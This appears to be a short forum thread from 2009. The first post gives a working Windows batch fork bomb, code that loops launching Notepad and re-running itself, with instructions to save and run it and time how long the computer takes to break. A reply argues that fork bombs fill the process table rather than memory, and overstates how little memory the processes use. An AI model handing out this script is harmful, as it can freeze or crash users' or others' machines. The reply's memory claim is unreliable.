You can try just a regular fork bomb, they're fairly simple. Just time how long it takes your computer to memory overflow.
CODE @ECHO OFF :A START notepad.exe START fork.bat GOTO A Paste that into notepad, and save it as fork.bat Be sure it doesn't save as fork.bat.txt, because then it's not going to work. |

QUOTE(Buttsex @ Oct 12 2009, 11:37 PM)  You can try just a regular fork bomb, they're fairly simple. Just time how long it takes your computer to memory overflow. I know this is pedantic, but a fork bomb doesn't cause problems because memory is used up; it causes problems because the OS's process table becomes filled (not because of memory constraints, just because the process table only holds a finite number of processes). I think Windows uses a shared, copy-on-write memory model (I know Unix/Linux/Mac OS X does), so 1 notebook.exe process uses roughly the same amount of memory as 1,000,000. </systems-programmer> |
